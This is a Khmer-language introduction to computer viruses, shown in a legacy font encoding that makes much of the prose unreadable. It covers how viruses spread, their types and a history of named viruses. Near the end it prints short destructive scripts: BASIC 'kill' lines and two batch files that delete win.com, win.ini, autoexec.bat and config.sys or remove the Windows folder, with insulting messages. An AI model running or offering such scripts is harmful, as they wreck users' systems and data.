VIRUS Computer វីរុស​ កុំព្យូទ័រ

-VIRUS GacqøgedayxøÜnÉgtam Diskette rW Flash EdlmanCab;CamYy File epSgeTot

Virus Computer KWCAkmµviFIGaccUlRKb;TIkEnøgenAkñúg Computer rWkñúg File epSg²

Biesskñúg Hard Disk.

-sBVéf¶man 747 Virus Edlcab;sMlab;)an nig Virus CaeRcInRbePTeTotcab;min)an

-Virus EdlmandMbUgenAkñúg Packet PC OS maneQµaHfa”29 A virus”va)anqøgkat;ExS

“Code”Edl Copy ÉksarBI Computer.

-Virus eQµaH Cabir Worm vavaylukcUlkñúg Mobile edayqøgkat;tam Bluetooth tam

RbB½n§ Network mobile phone.Virus enHmanlkçNHBiessEdlsresrkñúgkmµviFI

“Visual Studio.NET”

-Virus win 64 bit qøgkat;tamExSkñúg System Windows EdlmaneQµaHfa”Rugrat”Edl

eFVIeGayxUc System IA64 rbs; Windows 64 bit vabMpøaj System Structure vaeRbI

GnuKmn_ AIP rbs; Win64 cMeBaH Virus Worm )anqøgtamryH InternetEdlCaRbePT

emeraKbegáIteLIgedayyuvsisS 18 qñaMeronenARbeTs Germany EdlmaneQµaHfa

Sasser internet worm.

etI Virus qøgtamrebobNa?

• Internet
• E-mail
• Internet browsing
• File Transfer (FTP)
• Newsgroups (News)
• Network
• Share Disk
• Flask
• CD

RbePT Virus EdlCYbsBVéf¶

1.-Boot Viruses:eFVIeGayxUc Boot sector rbs; Floppy rW HDD.

    I.Boot sector vamansarHsMxan;bMputrbs; HDDEdlpÞúk Information vamanlT§

PaBcab;epþIm Boot Computer BI Disk.

2.Macro Virus:(Relax. Melissa A, Bablas, 097M/Y2k)

vamanenAkñúg File kmµviFI

-Word (DOC)

-Excel (XlS)

-Power Point (ppt)

-Acess database (MDB)

-Corel Draw….

vaeFVIeGaykmµviFIdMenIrkarKaMg²

3. Directory Virus:KWcUlkñúg System enAeBlEdleyIgkMBugebIk Filekñúg Directory

BI Drive.

4.Encrypted (kmµviFIkMcat;emeraKKµanlT§PaB)

5.Polymorphic Virus: CaRbePT VirusEdlmankMritx<s;EdleRbIR)as;rab;rybec¢k

eTsvaeFVIeGayxUc File, program, macro disk EdlmaneQµaHfa Ywinz.

7.File Infector:CaRbePT Virus EdleFVIeGayxUc File program ­dUcCa File EXE nig

COM.

8.Companion Virus:CaRbePT Virus EdleFVIeGayxUc FilevaeFVIskmµPaBpÞal;.

Virus enHeFVIeGay MemoryePøckarcgcaMenAeBlEdldMenIrkarkmµviFI skmµPaB

vaKWekIteLIgPøam²EdlmaneQµaH Stator, Asimov,1539,Terrax,1069.

9.FAT Virus:(FAT File Allocation,Table)KWCaEpñkeRbIR)as;kñúg DisksMrab;cgsMB½n§

PaBEpñkmYyén Computer.vaeFVIeGayxUclT§plkñúgBt’man)at;bg;FileepSg²kñúg

Directories.

10.Worms:vaeFVITMtak;TMngCamYySystemehIyrMxantamryHEmail, Network,rWtam

Chat(IRC­rW ICQ)EdlmaneQµaHfa(PSWBugbear.B, Lovgate.F, Trile.C,Sobig.D,

Mapsn).

11.Trojans rW Trojan Horse:Ca Virus dUcWormsEdrEtvaeFVIkarlubecalFilerWbMpøaj

Bt’manenAkñúg HDDrWvalak;System rbs;eyIgdUcCaIRC.Sx2,Trifor.

12.Logic Bombus:KWvabMpøajDataenAkñúgComputerrbs;eyIg.

NRbvtßiVIRUSN

13. Core War         (qñaM1983)

14. B rain              (1986)

15. Lehigh             (1987)ekItmanenAkñúgkmµviFIMicrosoft office

16. Robert             (1988)qøgtam Network

17. AIDS Trojan   (1989) qøgtam Network

18. Tequila            (1991)

19. Michelangelo   (1992)  “Bi)aksMlab;bMput”

20. Concept           (1995) CaRbePT Virus Macro

21. Boza                (1996) ekItkñúg Windows 95

22. Melissa,Bubble boy     (1999) qøgtamInternet

23.kñúgqñaM2000[DDos,love Letter]xøaMgkøabMput

24.qñaM2001[Winux Windows/Linux Virus,Nimda,Code Red]qøgBIRbB½n§Linux cUl

kñúgRbB½n§WindowsrWtamInternet

25.qñaM2002ðVirus qøgtamFile.SWF

                  ðViruseQµaHSQLS piderbMpøajkmµviFISQL

                  ðViruseQµaHPerrunqøgtamFilerUbPaB

26. qñaM2003ðViruseQµaHBlaster(MSBlast),Welchia(Nachi),Mimail,Lovgate..vaeFVI[

KaMgdMenIrkarDCOM-RPCelIWindow2k,XPnigvaGacbBa¢a[Computer[biT

Shutdown )anCaerogral;eBlEdleRcInEtqøgtamRbB½n§NetworkEdlmanP¢ab;Ca

mYyInternet

7qñaM2004 ViruseQµaHSkype nig BeagleqøgtamkmµviFI Skype eRbIsMrab;niyay

qøgeqøIyVoice.

7qñaM2005 manelcecjRbePTVirusEdlqøgtamChartRbePTVirusenHqøgtamkmµ

viFIdUcCaYahoo!kmµviFIMSNqøgenAeBlEdlelakGñkChat.

@Note

FcMeBaH Virus EdldMenIrkarkñúgDOSminpþl;plvi)akdl;eyIgb:unµaneT.

MviPaKeTAelIFileEdlemeraK)anlub

kill “C:/windows/win.com”va)anbMpøajecal file win.com

kill “C:/windows/win.ini”   va)anbMpøajecal file win.ini

kill “C:/autoexec.bat”  va)anbMpøajecal           file autoexec.bat

kill “C:/config.sys”  va)anbMpøajecal file config.sys

print”I hate people like you…”mann½yfavaeFVIkarbBaÄb;\p¥akmYyryHedIm,Ibgðaj

Message”I hate people like you…”enAelIScreen monitor.

Sleep2 p¥akMessage”I hate people like you…”cMnYn2 seconds

print”-Cyrus”bgðaj Message”I hate people like you…”enAelIScreen.

End    bBaÄb;nUvkarsresr

¯etIehtuGVI)anCa Virus lb;ecal File xageRkam?etIvamansarHsMxan;y:agNa?

C:/windows/win.com

C:/windows/win.ini

C:/autoexec.bat

C:/config.sys

¯ C:/windows/win.com

vamansarHsMxan;sMrab;Restarting the computereLIgvijedIm,I[Computer booted

eLIgvijfile win.comvasMxan;sMrab;rt;cUlkñúgDOS.

¯ C:/windows/win.ini

vamansarHsMxan;sMrab;rt;elI Setting for windowsRbsinebIlubecal file win.ini

eBlenaHminGaccUlkñúg windows )aneLIy.

¯ C:/autoexec.bat

      vamansarHsMxan;sMrab;rt; Start up Pøam²

¯ C:/config.sys

vamansarHsMxan;sMrab; Startup windowsEdr

¯NTLDRKWCa file sMrab;eBlEdl Start ComputerdMbUg

¯BOOT.INI

vasMxan;enAeBlEdleyIgmanWindows2EteyIg)anlubWindowsmYyecalEtenA

eBleyIgebIkComputerdMbUgvaenAEtecjMessage[eyIgSelect WindowsdEdl

dUecñHeyIgRtUveTAlubenAkñúgFile Boot.iniecalTukEtWindows mYyKt;.

¯@echo off

)anR)ab;ComputerrkSaTuk cd\ehIy)anR)ab; ComputereTAdl; cd:\windowsR)ab;

ComputerBIC:\eTAC:\windows@del win.comR)ab; Computer[lubecalWin.comBI

folderkñúgC:\window@del win.iniCamYyfile win.ini echo Fag

EX1:

@echo off

cd\

cd windows

@del win.com

@del win.ini

echo Fag,try to fix your computer now,End

EX2:RDsMrab;lub Folder

@echo off

cd\

rd windows’

echo you stupid bastard

echo hahahahahahahaha

echo Iown your ass

echo eeewww

echo goodbye

end….